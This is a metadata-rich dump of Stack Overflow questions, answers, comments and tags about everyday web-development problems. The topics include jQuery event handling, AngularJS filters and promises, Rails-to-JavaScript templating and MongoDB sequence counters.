has comment: http://stackoverflow.com/comment/39962403
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39960652
has answer: http://stackoverflow.com/a/25584393

http://stackoverflow.com/a/25841270
score: 0
type: Answer
has body: The problem might be with how adroll is hijacking the window.onload, which fires after all page rendering is done. If I were you, I'd use jQuery (one of the other things you're calling already likely is, so get it from the Google URL so you only have to download it once). Put it right at the top of your HEAD tag, so that it downloads and loads first, and for YOUR code, use a $(document).ready() call, like this: My Webapp ... the rest of the HEAD and BODY This way the scripts will download quietly in the background, and your code can go on and do what it needs to do without them. If it's really the scripts that are blocking your code for running, you can set a timeout function to delay it from loading for half a second or so while your code loads, by changing it like so: This way, it immediately goes on to do whatever window.onload was supposed to do for your own code, and half a second later, the adroll code will execute asynchronously.
answers question: http://stackoverflow.com/q/25697801

http://stackoverflow.com/a/25616504
type: Answer
answers question: http://stackoverflow.com/q/25616288
score: 2
downvote count: 0
upvote count: 2
has body: function playNext(){ console.log("playNext"); var active = $('#promoteCont').find(".promoteBlock.active"); if( active.length == 0 ) active = $(".promoteBlock:eq(0)"); var fout = active.next(); if( fout.length == 0 ) fout = $(".promoteBlock:eq(0)"); active.fadeOut().removeClass('active'); fout.fadeIn().addClass('active'); setTimeout(function(){ playNext(); },3000); } setTimeout(function(){ playNext(); },3000); http://jsfiddle.net/p1c3kzj7/
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25616288

http://stackoverflow.com/a/25677186
has comment: http://stackoverflow.com/comment/40130581
has comment: http://stackoverflow.com/comment/40130544
has body: This isn't all of your data, but this is a format you could use to access the information easily: var oContentObj = { buenos_airesContent : { url : 'http://www.buenosaires.com', title : 'Buenos Aires title', img : '&lt;img src="./images/Buenos Aires.jpg"&gt;', caption : 'Buenos Aires caption', dsc : 'Buenos Aires description' } } To loop through the properties of that object, use a for.. in loop : for (var oCity in oContentObj) { // now you have a loop of the cities.. do stuff for (var oProp in oCity) { // Now you have the properties of the city.. do more stuff } } Or you could call the properties directly oContentObj["CityName"]["CityProp"]; // or oContentObj.CityName.CityProp; And for a bigger picture on handling that data on the client, that object can become much more than a container. It can control handling that data as well. Containing, displaying, modifying and transporting if needed. :D
score: 0
answers question: http://stackoverflow.com/q/25676963
type: Answer
has comment: http://stackoverflow.com/comment/40129689

http://stackoverflow.com/comment/40274168
type: Comment
comment on: http://stackoverflow.com/a/25697326
score: 0
type: AnswerComment
has text: Thanks for trying but it must be a Int16Array to save bandwidth and because audio samples must remain 16 bit.

http://stackoverflow.com/comment/40108628
type: QuestionComment
has text: I think it should work since all the html pages are in the same folder. However I am getting the error of HTTP Status 404 - /maindocument.html
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25665908

http://stackoverflow.com/comment/40167099
has text: added 3 rows using 'Add More' and here is the output of print_r($_POST): Array ( [item-desc] => Array ( [0] => [1] => [2] => [3] => ) [item-qty] => Array ( [0] => [1] => [2] => [3] => ) [item-cbm] => Array ( [0] => [1] => [2] => [3] => ) [item-weight] => Array ( [0] => [1] => [2] => [3] => ) ) . All i can say is your tags are misplaces. Try using 'Inspect Element' feature of browser such as Firefox/chrome and check if the new inputs are inside form tag.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25697553
type: QuestionComment

http://stackoverflow.com/comment/39905041
score: 0
comment on: http://stackoverflow.com/q/25554497
has text: http://jsfiddle.net/mLemotv9/5/ includes randomized durations. Am also reading http://api.jquery.com/data/
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25554611
has comment: http://stackoverflow.com/comment/39925272
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/25552688
has body: myTeam | bitwiseAnd applies the bitwise filter to the team array as a whole, not the players. So the effect is like writing &lt;tr ng-repeat="player in true"&gt; if the filter returns true. What you want is a filter that returns an array. You can create your own filter or use the filterfilter. The latter one is tricky to combine with yours, but it's possible. At first you define a predicate function in your controller $scope.bitwiseAnd = function(type) { return function(player) { return $filter('bitwiseAnd')(player.Flag, type); } } That function applies your bitwiseAnd filter and is itself applied on every player. Then you use the filterfilter with that function: &lt;tr ng-repeat="player in myTeam | filter:bitwiseAnd(type)&gt; Working Plunker
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25552688
type: Answer

http://stackoverflow.com/a/25685836
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25683274
downvote count: 0
has comment: http://stackoverflow.com/comment/121037720
answers question: http://stackoverflow.com/q/25683274
has body: So the documentation recommends .findAndModify() for this type of operation because the actions of "updating/incrementing" and retrieving the result are an "atomic" operation. Of course if you are inserting 500 documents at a time you don't want to go back an "get the next increment" 500 times, because that would be insane. But there is something in the concept you are missing. Who said you have to increment by 1? Simply put, when you know you are inserting 500 items, then you just want to increment the current counter by 501 so that the next operation that asks for the next counter value gets the value that has already been increased by 501, so that part is okay. Now that you asked the counter to be incremented by a block of 500 you basically just use them. So you know that the first value to use basically starts at your return value minus 500, and you want to end your insert on the value that was actually returned. So you want some code like this: var async = require('async'), mongo = require('mongoskin'), db = mongo.db('mongodb://localhost/test'); // The general incrementer function getNextSequence( name, increment, callback ) { // Handling passing in "increment" as optional var args = Array.prototype.slice.call(arguments, 1); callback = args.pop(); increment = args.length ? args.shift() || 1 : 1; // default 1 db.collection('counters').findAndModify( { "_id": name }, {}, { "$inc": { "seq": increment } }, { "new": true, "upsert": true }, function(err,doc) { callback(err,doc.seq); } ); } // Meat of your insertion logic db.collection('target',function(err, collection) { var arrayToInsert = []; // simulating, but 500 items long assumed for (var x=0; x &lt; 500; x++) { arrayToInsert.push({ "x": x }); } var bulk = collection.initializeOrderedBulkOp(); async.waterfall( [ function(callback) { getNextSequence('invoiceNo',arrayToInsert.length + 1,callback); }, function(seq,callback) { var current = seq - arrayToInsert.length; var index = 0; async.whilst( function() { retur…
score: 4
type: AcceptedAnswer

http://stackoverflow.com/q/25605105
score: 0
has title: Don't reset attribute after form submition
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25605200
type: UnansweredQuestion
has body: I've the code which submits the form#statisticForm. In the script I have written I substitute src, which is located inside the span element: &lt;form id="statisticForm"&gt; &lt;input type="hidden id="statisticForm:fsp" /&gt; &lt;span id = "span1" class="a-custom-sorting"&gt; &lt;img src="img.jpg"/&gt; &lt;/span&gt; &lt;!--Another such span elements --&gt; &lt;span id = "span123" class="a-custom-sorting"&gt; &lt;img src="img.jpg"/&gt; &lt;/span&gt; &lt;/form&gt; Script: jQuery('.a-custom-sorting').click(function() { var submitField = document.getElementById("statisticForm:fsp"); var img = jQuery(this).find("img"); var new_src; switch (img.attr("src")) { case "img.jpg": case "second_clicked_img.jpg": new_src = "img1.jpg"; break; case "first_clicked_img.jpg": new_src = "img2.jpg"; break; } img.attr("src", new_src); submitField.value = this.id; document.getElementById("statisticForm").submit(); }); But after the form submition using the script above, src attribure of the img tag inside the span element I've clicked become equals to img.jpg. But I want that after form submission, src attribute doesn't change it value. How can it be done?
tagged with: forms
type: Question
answer count: 1
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40137476
has text: Take a look at this example.[https://docs.angularjs.org/api/ngRoute/service/$route#example].
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25681189
score: 0

http://stackoverflow.com/comment/40053315
has text: i update it with java script calling.........help me...
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25632111
type: Comment

http://stackoverflow.com/comment/39901961
has text: @ChandanJha Sure... Waiting.. :)
comment on: http://stackoverflow.com/a/25553151
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/42094344
score: 0
answers question: http://stackoverflow.com/q/25630994
type: Answer
has body: You can resolve your problem using only the implementation of Angular what you have to do is isolate the async calls in other function which is going to return a promise and this promise is going to be managed for you. Let's use a example, let's say that you have four async calls and each function call an endpoint with authorization control, if the user does not have all the permissions the call is going to fail function getAllCatalogs() { return $q.all([ $http.get(baseUrl + 'equipment-design/'), $http.get(baseUrl + 'engines-design/'), $http.get(baseUrl + 'suspension-design/'), $http.get(baseUrl + 'artifacts-design/') ]).then(function (data) { return data; }); } Due to $q.all needs that all promises finish satisfactorily if one of the previous calls fail due to the user does not have the permissions the whole call is going to fail, but maybe you are interested in when a call fail just return an empty array or a default object, so you have to handle this behavior for yourself, to achieved this you have to create a function which is the responsible to call the $http.get service and manage how the promise is going to be returned once the call fail or success, for this example let's call that function getCatalogPromise and in its parameters is going to be the URL for the service, the code will be: function getCatalogPromise(url) { var deferred = $q.defer(); $http.get(url).then(function (response) { deferred.resolve(response) }, function () { deferred.resolve([]); }) return deferred.promise; } function getAllCatalogs() { return $q.all([ getCatalogPromise(baseUrl + 'equipment-design/'), getCatalogPromise(baseUrl + 'engines-design/'), getCatalogPromise(baseUrl + 'suspension-design/'), getCatalogPromise(baseUrl + 'artifacts-design/') ]).then(function (data) { return data; }); } if you pay attention to the code of getCatalogPromise it does'n matter what return the call to the service our deferred always is going to be in resolve state and that is what $q.all want, the only d…

http://stackoverflow.com/q/25632228
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
has title: Store in a javascript var a chunk of HTML stored in a Ruby variable
favorite count: 0
has body: I have a ruby variable that has a chunk of html code stored on it, for example: Jorge Constanza So, I have a variable in ruby called html that has that stored on it... (really it has \n \r at the end of lines) and I need a pass this ruby variable to a javascript var. So in my template.html.erb I have the following: <%= javascript_tag do %> var previewHtml = "<%=html%>"; <% end %> But this is not working as the following is rendered in my html file: var previewHtml = " First Name Last Name "; And I'm getting in Firefox the following error: SyntaxError: unterminated string literal var previewHtml = " . That makes sense... and I have no idea hot to send this chunk of HTML to js. I need it to later be inserted in an iFrame. I have already tried doing the following: <%= javascript_tag do %> var previewHtml = "<%= @feed_template.html_template.gsub(/\r?\n/, '').html_safe %>"; <% end %> And the following is rendered: var previewHtml = " Jorge Constanza "; And I'm getting a SyntaxError: missing ; before statement... Any help?
possible better answer: http://stackoverflow.com/a/25632467
has answer: http://stackoverflow.com/a/25632467
upvote count: 1
tagged with: ruby-on-rails
has answer: http://stackoverflow.com/a/25632578
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25632578

http://stackoverflow.com/q/25692790
has answer: http://stackoverflow.com/a/25699675
type: UnansweredQuestion
tagged with: spring
has answer: http://stackoverflow.com/a/25695845
type: Question
answer count: 2
tagged with: jstl
linked to: http://stackoverflow.com/q/23267113
has body: i have PersonDTO object which has: String name; List&lt;String&gt; skills;//getter setter when jsp loads for the first time i am getting dropdown values from @ModelAttribute like this: List&lt;PersonDTO&gt; personInfo= personService.getInfomation(id); model.addAttribute("personInfo",personDTO); and displaying in jsp: &lt;div&gt; &lt;form:select name="name" path="name"&gt; &lt;c:forEach items="${personInfo}" var="var"&gt; &lt;form:option value="${var.name}"&gt;"${var.name}" /&gt;&lt;/form:option&gt; &lt;/c:forEach&gt; &lt;/form:select&gt; &lt;div&gt; &lt;div&gt; &lt;form:select name="skills" path="skills"&gt; &lt;c:forEach items="${personInfo.skills}" var="skill"&gt; &lt;form:option value="${skill}"&gt;"${skill}" /&gt;&lt;/form:option&gt; &lt;/c:forEach&gt; &lt;/form:select&gt; &lt;div&gt; so now how can i do this: if user change the name in first dropdown list then second dropdown values has to change automatically as per what ever skills that selected person has.I am using Spring 4, maven, JSTL,jQuery, javascript and spring form tag. This is all client side. Here we are not doing any ajax call with name parameter to get the skills values and displaying it in dropdown.Please help. Thanks
tagged with: jsp
tagged with: javascript
tagged with: jquery
score: 0
has title: how to display data in dropwdowns using JSTL in spring?

http://stackoverflow.com/a/56751925
upvote count: 16
score: 16
downvote count: 0
has body: ES6 was the latest spec at the time when the question was written. As explained in this answer, key picking is significantly shorter in ES2019 than in ES6: Object.fromEntries( Object.entries(obj) .filter(([key]) =&gt; ['foo', 'bar'].includes(key)) )
answers question: http://stackoverflow.com/q/25553910
type: Answer

http://stackoverflow.com/a/25679717
type: AcceptedAnswer
upvote count: 2
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/25678445
has body: If all you want to do is clear the form, then in your success callback to the save method just add some javascript to do it like this: my_model.save(data, { success: function(model,response) { alert(JSON.stringify(response)); $('#myForm')[0].reset(); //native javascript }, error: function(model,response) { alert(JSON.stringify(response)); } }); Bear in mind that this will be confusing for your user - if they press submit and then the form just seems to delete their responses. You'd be better off hiding the form: $('#myForm').hide() then displaying a message saying that the form was submitted successfully. Or redirecting them to a submission success page.
downvote count: 0
answers question: http://stackoverflow.com/q/25678445

http://stackoverflow.com/a/25655629
has body: I think the best way to put the received data inside a parent div. Then you can call remove or any other method to use it. You can make parent div hidden using .hide() method if you don't want to show it. Here I did it: http://plnkr.co/edit/jQKXyles8sP8dliB7v0K?p=preview // Add your javascript here $(function() { $.get('http://jamie.st/remote_file.php', function(data) { $("#parent").hide(); $("#parent").html(data); $("#section-one").remove(); console.log($("#section-one").html()) alert($("#parent").html()) }); });
answers question: http://stackoverflow.com/q/25655123
upvote count: 1
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/a/25638217
answers question: http://stackoverflow.com/q/25634279
type: Answer
accepted answer of: http://stackoverflow.com/q/25634279
score: 2
downvote count: 0
has body: This is not possible with leaflet See Rotating a map using leaflet js library There seems to be other possibilities if this is a major requirement: http://ol3js.org/en/master/examples/drag-rotate-and-zoom.html
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/25678489
score: 0
accepted answer: http://stackoverflow.com/a/25678563
answer count: 1
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has title: Responsive nav bar pushes down content in Safari/iOS
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25678563
type: Question
has body: I'm working on a site here: http://teamcherry.com.au/ The site uses a responsive nav plugin, so when viewport is narrow enough the nav is hidden behind a Menu button. When the menu button is pressed, the nav appears. In Firefox and Chrome, the nav appears over the top of content, which is the desired effect in this case. In Safari and mobile Safari however, opening the nav up pushes content down, which isn't what I want. I've been trying to fix the issue by applying position: absolute to various elements but the layout keeps breaking. I'm sure I'm missing something really obvious here! Anyone able to help me out?

http://stackoverflow.com/comment/40131164
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25677977
has text: look at callback(userBettedEvent); its not inside firebaseEventsData.on() callback

http://stackoverflow.com/comment/39946517
has text: ,i just want to check if i get it right.in the code in my question `this.lastname = name;` (this) is for the function chnageName and when we change the order `name = this.lastname;` there is no this.lastname defined
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25576297
type: AnswerComment

http://stackoverflow.com/comment/39933478
comment on: http://stackoverflow.com/a/25570101
type: Comment
score: 1
has text: You could also use `this.files`, since jQuery always binds `this` to the target in its event handlers.
type: AnswerComment

http://stackoverflow.com/a/25616881
type: Answer
answers question: http://stackoverflow.com/q/25616240
score: 0
has body: How about jquery? // hide() is equivalent to display:none; $('#dropdown').on('click', 'li', function() { $('#whitedropdown-menu').hide(); }); // also you should have an event for the hover $('#dropdown').mouseover(function() { $('#whitedropdown-menu').show(); });

http://stackoverflow.com/q/25592634
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25592744
tagged with: http://stackoverflow.com/tag/html
score: -2
favorite count: 0
has comment: http://stackoverflow.com/comment/39975276
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/39975238
accepted answer: http://stackoverflow.com/a/25592744
possible better answer: http://stackoverflow.com/a/25592695
has answer: http://stackoverflow.com/a/25592695
tagged with: knockout.js
upvote count: 0
tagged with: javascript
has title: Check-boxes with Radio-buttons quality
tagged with: jquery
has body: I need check-boxes list that has one quality of radio-buttons: That you can check only one of them. I don't want to use radio-buttons, becouse I need other qualities of check-boxes, like that you can un-check it by additional click. Is there any simple way to do it? I can use javascript, including knockout and jquery libraries.
type: Question

http://stackoverflow.com/q/25656005
has body: I have tilemap collision sorted out... kinda. Some tiles react great. Others, not so much. It is really inconsistent if it hits and from what direction, also, it has created some sort of barrier once x hits around 480ish where it stops. here is the jsfiddle so you can take a look at what I am talking about http://jsfiddle.net/t0ahc5qa/ as you can see some blocks it just phases through, while others it doesn't. here is where collisions are taken note of. function checkmove(x,y){ if(mapArray[Math.floor(x/tileWidth)][Math.floor(y/tileHeight)]==1 || mapArray[Math.ceil(x/tileWidth)][Math.floor(y/tileHeight)]==1 || mapArray[Math.floor(x/tileWidth)][Math.ceil(y/tileHeight)]==1 || mapArray[Math.ceil(x/tileWidth)][Math.ceil(y/tileHeight)]==1){ console.log('hit'); return false; } else { return true; } if(mapArray[Math.floor(x/tileWidth)][Math.floor(y/tileHeight)]==2 || mapArray[Math.ceil(x/tileWidth)][Math.floor(y/tileHeight)]==2 || mapArray[Math.floor(x/tileWidth)][Math.ceil(y/tileHeight)]==2 || mapArray[Math.ceil(x/tileWidth)][Math.ceil(y/tileHeight)]==2){ console.log('lava'); return false; } else { return true; } } if you have any ways to improve the collision, please feel free to, I am looking for any way to make it not so buggy.
answer count: 1
score: 0
accepted answer: http://stackoverflow.com/a/25656121
tagged with: javascript
type: AnsweredQuestion
has title: tilemap collision not working like it should
has answer: http://stackoverflow.com/a/25656121
type: Question

http://stackoverflow.com/a/25557767
has comment: http://stackoverflow.com/comment/39910964
accepted answer of: http://stackoverflow.com/q/25557166
has comment: http://stackoverflow.com/comment/39910752
has body: A simple solution to your problem is placing the content in a child element of the #elementResizable DIV: http://jsfiddle.net/1ajv6u54/ Full Name Title ... As you can see, the content element's height won't resize. You can solve this by setting the height of the content element to 100%. Now the content element will resize to its parents' height and width. The actual height of the content would be "100% + 2 * border-width" (100% + 100px). Since you need 100% as full height, you can set the content element's "box-sizing" attribute to "border-box". "border-box" adds "padding" and "border" to the elements width/height/min-width/min-height calculation. You can find the complete solution in this fiddle.
type: AcceptedAnswer
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25557166
has comment: http://stackoverflow.com/comment/39942412

http://stackoverflow.com/q/25680900
tagged with: gulp
favorite count: 0
has title: Grunt-style templates in Gulp?
accepted answer: http://stackoverflow.com/a/25690161
has comment: http://stackoverflow.com/comment/40136471
score: 1
upvote count: 1
type: Question
type: AnsweredQuestion
tagged with: javascript
tagged with: gruntjs
has answer: http://stackoverflow.com/a/25690161
answer count: 1
downvote count: 0
has body: I'm moving from Grunt to Gulp, and I used to use templates in my Grunfile.js to configure my tasks, as described here templates in Grunt look like this one: &lt;%= blahblah.static %&gt; &lt;%= blahblah.build %&gt; and I can't find any useful doc on how to achieve the same thing with Gulp...

http://stackoverflow.com/q/25602954
has comment: http://stackoverflow.com/comment/39994122
upvote count: 3
has comment: http://stackoverflow.com/comment/39994271
has comment: http://stackoverflow.com/comment/39994232
has answer: http://stackoverflow.com/a/25603031
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39994280
has answer: http://stackoverflow.com/a/25603144
has answer: http://stackoverflow.com/a/25602979
score: -1
has comment: http://stackoverflow.com/comment/39994147
has title: How can i set the Value of a Variable as an ID in Jquery
has comment: http://stackoverflow.com/comment/39994333
type: Question
downvote count: 4
has answer: http://stackoverflow.com/a/25603015
possible better answer: http://stackoverflow.com/a/25602972
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25602972
answer count: 6
has comment: http://stackoverflow.com/comment/39994501
favorite count: 0
has body: Given the following code: var counter = 0; //counter variable $('#divfuerimage').on('click', function(evt){ counter= counter+1; //count up alert(counter); var containerX = evt.pageX - $(this).offset().left, containerY = evt.pageY - $(this).offset().top; $('&lt;div class="child" id=/*here the value of counter should be*/&gt;&lt;/div&gt;') How can I use the Value of my Counter Variable as an ID?
has comment: http://stackoverflow.com/comment/39994925
has answer: http://stackoverflow.com/a/25602982
accepted answer: http://stackoverflow.com/a/25603015

http://stackoverflow.com/comment/40184055
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/25707272
type: Comment
has text: >can't add dynamic keys to an object when using an object literal notation I didn't know that.

http://stackoverflow.com/q/25704107
type: Question
has answer: http://stackoverflow.com/a/25704227
upvote count: 1
answer count: 1
has body: I have two pages: index.html and right.html. What kind of a code is required, to go to right.html from index.html by swiping the screen horizontally? I am using jQuery Mobile $(function() { $(document).on( "swipeleft", swipeleftHandler ); function swipeleftHandler( event ) { // What is the code that should come here? // And how can I design it so index.html slides to left // and right.html comes to the middle? } });
tagged with: gesture
linked to: http://stackoverflow.com/q/7533772
accepted answer: http://stackoverflow.com/a/25704227
downvote count: 0
tagged with: javascript
tagged with: jquery
has title: Navigate to page based on swipe
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40178441

http://stackoverflow.com/comment/40125140
type: Comment
comment on: http://stackoverflow.com/q/25675078
has text: Shouldn't you use a condition on whether `#helppage` is displayed or not?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40012866
score: 0
type: Comment
has text: @WestLangley It was a bit hard to understand at first, but I think what Aaron is after is keeping the bouncy scroll behaviour in a div but not have it in the document. Seems like there is a bug in the browser itself which breaks the behaviour when there is some transform3d stuff.
type: QuestionComment
comment on: http://stackoverflow.com/q/25611910

http://stackoverflow.com/a/25563218
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25563047
type: Answer
upvote count: 1
has body: The problem is that jQuery's POST does send your data as form data (e.g. key-value pairs) (https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms/Sending_and_retrieving_form_data) whereas AngularJS sends your data in the request payload. For a difference between the two see the following SO question: What's the difference between "Request Payload" vs "Form Data" as seen in Chrome dev tools Network tab In order to make your angular script works with your server you have to convert your data to a URL encoded string as described here: How can I post data as form data instead of a request payload?. Simply setting headers: {'Content-Type': 'application/x-www-form-urlencoded'} is not enough. A different approach would be to adapt the back-end of your application to parse the message payload instead of the form data parameters.

http://stackoverflow.com/comment/40167509
type: QuestionComment
has text: possible duplicate of [Merge/flatten an Array of Arrays in JavaScript?](http://stackoverflow.com/questions/10865025/merge-flatten-an-array-of-arrays-in-javascript)
score: 0
comment on: http://stackoverflow.com/q/25697893
type: Comment

http://stackoverflow.com/a/25581412
score: 1
has comment: http://stackoverflow.com/comment/39954863
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/39955077
downvote count: 0
has body: Canvas has potential to be significantly faster because it's built for rendering
answers question: http://stackoverflow.com/q/25581394

event-handling
tag name: event-handling
tags question: http://stackoverflow.com/q/25572069
tags question: http://stackoverflow.com/q/25592023
tags question: http://stackoverflow.com/q/25687671
tags question: http://stackoverflow.com/q/25657548
tags question: http://stackoverflow.com/q/25639587
tags question: http://stackoverflow.com/q/25707506
type: Tag
tags question: http://stackoverflow.com/q/25674844
tags question: http://stackoverflow.com/q/25633619

http://stackoverflow.com/comment/40046421
type: Comment
has text: Oh wait, do you mean you want to style the `#fancybox-content`, and not the `#red` content? Then you have to select the parent element of `#red` (and `#green`). You'll have to use JavaScript for that. See: http://stackoverflow.com/questions/1014861/is-there-a-css-parent-selector
comment on: http://stackoverflow.com/a/25631306
type: AnswerComment
score: 0

http://stackoverflow.com/a/25658788
has body: Okay, I just found a solution myself :) $('.swipe').css({opacity: 0}); $('.swipe').animate({opacity: 1}, {duration: 1000}); $('.swipe').animate({opacity: 0}, {duration: 1000}); $('.swipe').animate({left: 400}, {duration: 2000, queue: false});
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25652610

http://stackoverflow.com/a/25685070
score: 3
accepted answer of: http://stackoverflow.com/q/25685033
has body: Wrap your code in document ready handler. It accepts a function which executes when DOM is fully loaded. As you are using jQuery 1.3 $(document).ready(function() { $('#SignIn').bind('click', function() { alert('hi'); }); }); For jQuery 1.7+, $(document).ready(function() { $('#SignIn').on('click', function() { alert('hi'); }); }); Additionally, As of jQuery 1.7, the .on() method is the preferred method for attaching event handlers to a document.
type: AcceptedAnswer
downvote count: 0
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/40142538
answers question: http://stackoverflow.com/q/25685033

http://stackoverflow.com/a/54713064
has body: In case someone still need this: var is_hashed = false; $(window).on('hashchange', function() { is_hashed = true; }); window.addEventListener('popstate', function(e){ // if hashchange if (is_hashed) { e.preventDefault(); // reset is_hashed = false; return false; } // Your code to handle popstate here .................. });
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/113662603
answers question: http://stackoverflow.com/q/25634422
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/25632012
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40047953
type: Answer
score: 1
answers question: http://stackoverflow.com/q/25631955
upvote count: 1
has body: There is no problem with your code. The problem is that your console does not automatically expand objects until you click the little triangle to expand that object. It shows you a truncated reference to the object, which does not become real until you expand the object. To see this, check out this series of screenshots: I set up the object: Then I expand the console from the first output:
accepted answer of: http://stackoverflow.com/q/25631955

http://stackoverflow.com/comment/39984629
type: Comment
type: QuestionComment
has text: @DarkoZ for many many many reasons explained throughout meta.SO and this has nothing to do with being a native English speaker. The *code* itself is gibberish in the language of Javascript, not English, and what little information is presented in English I understood just fine.
score: 0
comment on: http://stackoverflow.com/q/25597102

http://stackoverflow.com/comment/39911076
has text: @Alin I know you requested it, I thought that this way it would actually be a feature. Editing my answer...
type: Comment
comment on: http://stackoverflow.com/a/25558061
score: 0
type: AnswerComment

http://stackoverflow.com/a/71904847
answers question: http://stackoverflow.com/q/25574826
type: Answer
upvote count: 1
score: 1
has body: While the legacy mongo shell does not support node modules via the require statement, the new mongosh shell does. You will need to install it via the 5.0 MongoDB repo but it is compatible with any database from 4.0 and above. Reference here: https://www.mongodb.com/docs/mongodb-shell/write-scripts/require-external-modules/
downvote count: 0

http://stackoverflow.com/a/25559835
downvote count: 0
type: Answer
has body: You're missing a +. //change this console.log(first + " + " + second " = " + sum + "&lt;br /&gt;"); // to this console.log(first + " + " + second + " = " + sum + "&lt;br /&gt;"); In the future, please use the console for debugging. There is a great article on everything you can do with the console here > https://developer.chrome.com/devtools/docs/javascript-debugging
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/25559776

http://stackoverflow.com/comment/40053594
type: AnswerComment
has text: Actually, to be precise, it doesn't merge arrays. It merges a list of objects onto an array, and if the object happens to be an array, then it merges its elements.
type: Comment
comment on: http://stackoverflow.com/a/25635371
score: 0

http://stackoverflow.com/comment/39944881
score: 0
type: QuestionComment
has text: @MelanciaUK I didn't want to use jQuery at all, but I figured I could use this little bit to help me out.
type: Comment
comment on: http://stackoverflow.com/q/25575917

http://stackoverflow.com/comment/39985586
comment on: http://stackoverflow.com/q/25598248
type: QuestionComment
has text: is there a toot element for the xml
type: Comment
score: 0

http://stackoverflow.com/a/25713089
has comment: http://stackoverflow.com/comment/40347544
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40325179
has comment: http://stackoverflow.com/comment/40348512
type: Answer
has comment: http://stackoverflow.com/comment/40348681
accepted answer of: http://stackoverflow.com/q/25712446
has body: A couple of possible issues.. You are calling asynchronous methods and not giving them time to complete. That's where Parse Promises come in. You have to make sure to use the then function. See http://blog.parse.com/2013/01/29/whats-so-great-about-javascript-promises/ You are correctly setting 'Like' to 4, but you aren't saving the rows by calling save You may not have any rows coming back from your query, they way to check that is to pass the number of rows found back through the success callback, which I am doing below Try this below, noticing that the .success should return a result if you NSLog(@"result %@",result) from your objective-c. Also, the error should be coming through now as well because of response.error(error) var Example = Parse.Object.extend("Example"); function exampleFunction() { var query = new Parse.Query(Example); query.equalTo('Like',1); return query.find().then(function(examplesLikedOnce){ var promises = []; for (var i = 0; i &lt; examplesLikedOnce.length; i++) { var example = examplesLikedOnce[i]; var promise = example.save({Like:4}); promises.push(promise); } return Parse.Promise.when(promises).then(function(){ return examplesLikedOnce.length; }); }); } Parse.Cloud.define("nice", function(request, response) { exampleFunction().then(function(numExamples){ response.success("The number of Example objects with 1 like: "+numExamples); }, function(error){ response.error(error); }); });
has comment: http://stackoverflow.com/comment/40358827
upvote count: 1
has comment: http://stackoverflow.com/comment/40325393
score: 1
answers question: http://stackoverflow.com/q/25712446

http://stackoverflow.com/q/25654361
tagged with: jquery
has comment: http://stackoverflow.com/comment/40087997
score: 0
has body: On the start page, i need hide a div dlaFirmy. this notation $('#dlaFirmy').hide(); does not work. If i use $('table').hide(); and it can easily hide. Probably above statement is incorrect. Thank you in advance for your help javascript code: $(document).ready(function(){ $('#dlaFirmy').hide(); $('select').on('change', function (e) { var optionSelected = $(this).find("option:selected"); var valueSelected = optionSelected.val(); if( valueSelected === "2"){ $('#dlaFirmy').show(); alert("sdfsd"); } else { $('#dlaFirmy').hide(); } }); }); Html code : Dodaj nowy Lead: Klient Indywidualny Klient Biznesowy Imię: Nazwisko: ... Nazwa firmy: Nip: Zatwierdź
has comment: http://stackoverflow.com/comment/40088506
has answer: http://stackoverflow.com/a/25654402
has title: jquery, why id selector doesn't work
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25654393
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40087995
tagged with: javascript

http://stackoverflow.com/comment/40120709
comment on: http://stackoverflow.com/q/25672822
has text: if there is any visible elements and then hide visible could be some different thinks, do you mean display:none ? visible:hidden? other ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25684655
has comment: http://stackoverflow.com/comment/40143842
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25684555
has comment: http://stackoverflow.com/comment/40659554
answers question: http://stackoverflow.com/q/25684555
has body: There is $index variable available inside ng-repeat: ng-click="audit(auditDate, $index)"
type: AcceptedAnswer

twilio
tag name: twilio
tags question: http://stackoverflow.com/q/25686008
type: Tag

http://stackoverflow.com/q/25687635
has title: struts2 json result type for ajaxfile upload
tagged with: java
has comment: http://stackoverflow.com/comment/40147918
tagged with: http://stackoverflow.com/tag/json
type: UnansweredQuestion
